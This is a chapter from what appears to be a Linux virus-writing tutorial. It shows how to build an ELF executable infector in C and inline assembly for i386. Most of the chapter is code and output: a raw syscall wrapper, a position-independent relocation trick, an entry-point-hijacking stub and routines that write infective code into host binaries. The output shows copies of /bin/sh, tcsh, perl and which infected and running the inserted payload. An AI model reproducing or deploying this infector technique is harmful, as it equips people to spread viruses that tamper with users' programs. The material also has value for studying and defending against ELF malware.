Unix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things. | |
Doug Gwyn |
In the language of evil I declared the code generated by gcc(1) to be unsuitable for a virus. And then rewrote the whole thing in assembly. A less drastic solution is to use inline assembly to correct only what's really necessary.
Have a look at the disassembly of function write in glibc. That code checks the return value of the system call and sets variable errno on error. We don't need this. Actually we can't access global variables at all. And our code does not care for the return code, anyway.
It is also remarkable that the code loads only the four required registers. The sources of glibc make great effort to provide optimal code for every case. I find the macros in glibc-2.2.4/sysdeps/unix/sysv/linux/i386/sysdep.h quite interesting.
For our needs a simple function will do. The line starting with a colon is a constraint. It somehow declares the value that eax has after the asm block to be the value of variable result. The following return statement would load the value of result into eax again, but fortunately gcc(1) optimizes this correctly. Of course the code would work without constraint and return. But the compiler would issue warning "no return statement in function returning non-void".
RedHat's gcc-2.96-98 produces weird code if the assembly statements are grouped in a single asm block. In that case mov ebp,esp is done not on function entry, but after the asm. See All together now for a disassembly. do_syscall is the last part.
Note that we can't name our function plain syscall. There is already such a declaration in unistd.h.
Source: src/doing_it_in_c/do_syscall.inc
int do_syscall(int number, ...)
{
int result;
asm("push %ebx; push %esi; push %edi");
asm(
"mov 28(%%ebp),%%edi;"
"mov 24(%%ebp),%%esi;"
"mov 20(%%ebp),%%edx;"
"mov 16(%%ebp),%%ecx;"
"mov 12(%%ebp),%%ebx;"
"mov 8(%%ebp),%%eax;"
"int $0x80"
: "=a" (result)
);
asm("pop %edi; pop %esi; pop %ebx");
return result;
} |
Previous examples needed a separate pass to build the insertable code. Output of the first pass is one chunk of bytes. The only interface to the infector is the place to patch with the original entry address (4 bytes at offset 1).
The crucial part are the lines in writeInfection where we pass the address of the chunk of bytes to write(2). In a real virus these lines will also be part of inserted code. The naive approach is to patch these instructions on infection. But this again leads to a two-pass process. The first is required to find the offset of patches. A more comfortable approach is to make the code position independent by calculating absolute addresses at run-time. Note that option -fpic of gcc(1) does not help the problem at all.
-fpic
Generate position-independent code (PIC) suitable for use in a shared library, if supported for the target machine. Such code accesses all constant addresses through a global offset table (GOT). The dynamic loader resolves the GOT entries when the program starts (the dynamic loader is not part of GCC; it is part of the operating system). If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that -fpic does not work; in that case, recompile with -fPIC instead. (These maximums are 16k on the m88k, 8k on the Sparc, and 32k on the m68k and RS/6000. The 386 has no such limit.)
The instruction pointer is a register that holds the address of the next instruction to execute. Unlike "real" registers there is no direct way to retrieve its value. A call pushes the current value of IP onto the stack and adds a relative offset to it. Offset 0 just continues with the following instruction. And if that instruction is a pop we load the the address of the pop instruction itself in a regular register.
In function we get_relocate_ofs we compare the actual value of IP with the location the linker had in mind when it built the original executable. If code is executed at the exact location the linker gave it in the original file, then eax will be exactly the address of label delta after the pop. And the following sub instruction will then set eax to zero.
Source: src/doing_it_in_c/get_relocate_ofs.inc
int get_relocate_ofs(void)
{
int result;
__asm__(
"call delta ;"
"delta: "
"pop %%eax ;"
"sub $(delta),%%eax;"
: "=a" (result)
);
return result;
} |
A dump from gdb(1) is not enough to demonstrate this function. I want to show that the last four bytes of the opcode of the call instruction are really zero.
Command: src/doing_it_in_c/ndisasm.sh
#!/bin/sh
file=${1:-${TMP}/doing_it_in_c/e3i1/infector}
func=${2:-get_relocate_ofs}
count=${3:-1}
location=$(
nm ${file} \
| sed -ne "/^[0-9].*${func}/s/ .*//p" \
| tr a-f A-F
)
offset=$( echo "ibase=16; ${location} - 08048000" | bc )
ndisasm -e ${offset} -o 0x${location} -U ${file} \
| awk "{ print \$0; }
/ret/ && ++nr >= ${count} { exit 0; }" |
Output: out/redhat-linux-i386/doing_it_in_c/get_relocate_ofs.ndisasm
080493BC 55 push ebp
080493BD E800000000 call 0x80493c2
080493C2 58 pop eax
080493C3 2DC2930408 sub eax,0x80493c2
080493C8 89E5 mov ebp,esp
080493CA 5D pop ebp
080493CB C3 ret |
We now have all parts to implement a position independent version of Target::writeInfection. This code works as part of a first stage infector. Output to prove it is at the end of this chapter. It should also work as part of an infection. But do you remember the paragraph in Introduction about "exercise left to the reader"?
Compare this code with the first version. Instead of operating on a single variable, Target::infection, we write every byte between the start of infection and function end. The prototypes are required by the code of body. For reasons explained below, infection.inc and body.inc must lie next to each other. Anyway, the highlight of this chapter is the character constant msg.
Source: src/doing_it_in_c/write_infection.inc
int get_relocate_ofs(void);
int do_syscall(int, ...);
extern const char msg[];
#include "infection.inc"
#include "body.inc"
#include "get_relocate_ofs.inc"
#include "do_syscall.inc"
const char msg[] __attribute__ (( section(".text") )) =
"ELF is dead baby, ELF is dead.\n";
void end() {}
unsigned Target::writeInfection()
{
int ofs = get_relocate_ofs();
char* r_begin = ofs + (char*)&infection;
char* r_end = ofs + (char*)&end;
unsigned size = r_end - r_begin;
/* first byte is the opcode for "push" */
do_syscall(4, fd_dst, r_begin, ENTRY_POINT_OFS);
/* next four bytes is the address to "ret" to */
do_syscall(4, fd_dst, &original_entry, sizeof(original_entry));
/* rest of infective code */
enum { REST_OFS = ENTRY_POINT_OFS + sizeof(original_entry) };
do_syscall(4, fd_dst, r_begin + REST_OFS, size - REST_OFS);
return size;
} |
It is very difficult to persuade the linker to arrange object files in a specific order. But by putting all definitions into a single compilation unit (a .c that ends up in a .o) we are quite safe on that front. And though it is nowhere specified, most compilers will write definitions in the order they read them. So the "only" remaining problem is implementation specific classification of definitions. A small test program illustrates the problem.
Source: src/doing_it_in_c/addr.c
#include <stdio.h>
void* begin() { return "string literal"; }
static const char constant_a[] = "first try";
static const char constant_b[]
__attribute__ ((section (".text"))) = "second try";
void end() {}
int main()
{
printf("begin = %p\n", &begin);
printf("string literal = %p\n", begin());
printf("constant_a = %p\n", constant_a);
printf("constant_b = %p\n", constant_b);
printf("end = %p\n", &end);
return 0;
} |
Output: out/redhat-linux-i386/doing_it_in_c/addr
begin = 0x8048460
string literal = 0x8048562
constant_a = 0x8048558
constant_b = 0x804846a
end = 0x8048480 |
Functions are ordered intuitively. However, constant data is put in a separate section called .rodata. And sections are ordered as whole. See the section-to-segment mapping in the output of readelf(1) at Bashful glance.
I see a few approaches to the problem.
Copy the complete code-segment as defined by the ELF header.
Define begin and end for each section to copy.
Put constant data into section .text.
Anyway, the real problem is accessing these bytes in a position independent fashion. For code this is more or less default. call and jmp work with relative offsets. Large contiguous switch blocks could get optimized as a lookup tables, but this is easy to work around. Explicit function pointers can be corrected manually with get_relocate_ofs. The same be could be done with items in virtual method tables. But then the table itself is accessed by compiler-generated code, which is hard to correct.
However, every data access requires explicit calculation through get_relocate_ofs. This includes innocent looking string literals. Basically you always have to look at the disassembly of your C code to go sure.
In our trivial example Target::infection holds stub code written in assembler and is never accessed as data. Anyway, here is the documentation of gcc(1) on the issue.
section ("section-name")
Normally, the compiler places the objects it generates in sections like "data" and "bss". Sometimes, however, you need additional sections, or you need certain particular variables to appear in special sections, for example to map to special hardware. The "section" attribute specifies that a variable (or function) lives in a particular section.
This is the link between regular C code and the unsuspecting host. The requirements are:
The new entry point should lie at a constant offset inside inserted code. Preferred value is 0.
The original entry address is patched into the inserted code at a constant offset. Previous examples used 1.
We need a mechanism to activate the host code again. Ideally we should leave no trace of our existence, but unmodified registers (especially esp) will suffice.
Calculating the offset to patch with the original entry point definitely requires a separate pass. But good design can make this pass constant. We can use the same stub, with the same offset, for every kind of infective code.
The natural approach is to code the stub in a mixture of C and inline assembly and use ndisasm(1) to check the offset. This has the disadvantage of limited control. Functions compiled by gcc(1) are decorated with entry and exit code. The disassembly of The address of main is a fine example. I have no way to suppress the first two lines, push ebp and mov ebp,esp. Even worse, functions containing asm statements seem the defy all logic. Just see where mov ebp,esp is in the code of get_relocate_ofs. And I also don't see how to put code between pop ebp and ret. So we would have to build our own exit code using inline assembly. Basically a pop ebp and some kind of jmp. The exit code generated by gcc(1) would still be there, but just not used.
On the other hand the traditional way of mixing C and assembler code through separate .o files is not possible. Fortunately we have a tool that converts disassembly into a C style array constant. This approach has one major problem, though. The assembly code is built independent of the C code. So the offset of the virus body (a plain C function) is not known during assembly of the stub. Patching the offset into the stub at run time is the obvious solution. Assuming a constant offset is the kind of black magic I prefer. But then my other hobby is selling innocent readers bull. The real motivation for the following hack is to recycle the framework from One step closer to the edge. There are a lot of possible variations.
The code below relies on prober alignment through the compiler. Because of the __attribute__ clause the character array Target::infection starts at an address that is a multiple of 8. An assembler directive pads the stub with enough nop instruction to make its size a multiple of 8. Which means that any object placed after the infection is also aligned on a multiple of 8.
On i386 the largest built-in type of C compilers is double. And sizeof(double) is 8. So this number is typically the highest alignment used in a section. Another school of thought uses higher alignment to put data on cache line boundaries. And sections themselves are usually aligned on paragraphs (16 bytes), a term known since the days of real mode. But for our example there is no reason for compiler or assembler to insert padding bytes between infection and the following function, called body.
Source: src/doing_it_in_c/i1/infection.asm
BITS 32
start: push dword 0 ; replace with original entry address
pushf
pusha
call body
popa
popf
ret
align 8
body: push byte start + 1 ; dummy operation to specifiy offset |
Source: out/redhat-linux-i386/doing_it_in_c/i1/infection.inc
const unsigned char Target::infection[]
__attribute__ (( aligned(8), section(".text") )) =
{
0x68,0x00,0x00,0x00,0x00, /* 00000000: push dword 0x0 */
0x9C, /* 00000005: pushf */
0x60, /* 00000006: pusha */
0xE8,0x04,0x00,0x00,0x00, /* 00000007: call 0x10 */
0x61, /* 0000000C: popa */
0x9D, /* 0000000D: popf */
0xC3, /* 0000000E: ret */
0x90 /* 0000000F: nop */
};
enum { ENTRY_POINT_OFS = 0x1 }; |
The only missing piece is the actual infection body. We use another piece of magic, built-in functions. From the documentation of gcc(1):
GCC normally generates special code to handle certain built-in functions more efficiently; for instance, calls to alloca may become single instructions that adjust the stack directly, and calls to memcpy may become inline copy loops. The resulting code is often both smaller and faster, but since the function calls no longer appear as such, you cannot set a breakpoint on those calls, nor can you change the behavior of the functions by linking with a different library.
Currently, the functions affected include abort, abs, alloca, cos, cosf, cosl, exit, _exit, fabs, fabsf, fabsl, ffs, labs, memcmp, memcpy, memset, sin, sinf, sinl, sqrt, sqrtf, sqrtl, strcmp, strcpy and strlen.
Source: src/doing_it_in_c/body.inc
void body()
{
int ofs = get_relocate_ofs();
const char* r_msg = ofs + msg;
do_syscall(4, 1, r_msg, strlen(r_msg));
} |
And a disassembly, just to go sure. It consists of Target::infection, body, get_relocate_ofs and do_syscall, in that order. This is not all inserted code. The character constant msg is not shown.
Output: out/redhat-linux-i386/doing_it_in_c/e3i1.ndisasm
08049378 6800000000 push dword 0x0
0804937D 9C pushf
0804937E 60 pusha
0804937F E804000000 call 0x8049388
08049384 61 popa
08049385 9D popf
08049386 C3 ret
08049387 90 nop
08049388 55 push ebp
08049389 89E5 mov ebp,esp
0804938B 57 push edi
0804938C 52 push edx
0804938D E82A000000 call 0x80493bc
08049392 8D9000940408 lea edx,[eax+0x8049400]
08049398 89D7 mov edi,edx
0804939A FC cld
0804939B 31C0 xor eax,eax
0804939D B9FFFFFFFF mov ecx,0xffffffff
080493A2 F2AE repne scasb
080493A4 F7D1 not ecx
080493A6 49 dec ecx
080493A7 51 push ecx
080493A8 52 push edx
080493A9 6A01 push byte +0x1
080493AB 6A04 push byte +0x4
080493AD E81A000000 call 0x80493cc
080493B2 83C410 add esp,byte +0x10
080493B5 8B7DFC mov edi,[ebp-0x4]
080493B8 C9 leave
080493B9 C3 ret
080493BA 89F6 mov esi,esi
080493BC 55 push ebp
080493BD E800000000 call 0x80493c2
080493C2 58 pop eax
080493C3 2DC2930408 sub eax,0x80493c2
080493C8 89E5 mov ebp,esp
080493CA 5D pop ebp
080493CB C3 ret
080493CC 55 push ebp
080493CD 89E5 mov ebp,esp
080493CF 53 push ebx
080493D0 56 push esi
080493D1 57 push edi
080493D2 8B7D1C mov edi,[ebp+0x1c]
080493D5 8B7518 mov esi,[ebp+0x18]
080493D8 8B5514 mov edx,[ebp+0x14]
080493DB 8B4D10 mov ecx,[ebp+0x10]
080493DE 8B5D0C mov ebx,[ebp+0xc]
080493E1 8B4508 mov eax,[ebp+0x8]
080493E4 CD80 int 0x80
080493E6 5F pop edi
080493E7 5E pop esi
080493E8 5B pop ebx
080493E9 5D pop ebp
080493EA C3 ret |
Output: out/redhat-linux-i386/doing_it_in_c/e3i1/cc
Infecting copy of /bin/tcsh... wrote 168 bytes, Ok
Infecting copy of /usr/bin/perl... wrote 168 bytes, Ok
Infecting copy of /usr/bin/which... wrote 168 bytes, Ok
Infecting copy of /bin/sh... wrote 168 bytes, Ok |
Output: out/redhat-linux-i386/doing_it_in_c/test-e3i1
ELF is dead baby, ELF is dead.
/home/alba/virus-writing-HOWTO/tmp/redhat-linux-i386/doing_it_in_c/e3i1/sh_infected
2.05.8(1)-release
/usr/bin/which
ELF is dead baby, ELF is dead.
/usr/bin/which
ELF is dead baby, ELF is dead.
tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
ELF is dead baby, ELF is dead.
ELF is dead baby, ELF is dead.
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
Copyright 2000 Free Software Foundation, Inc. |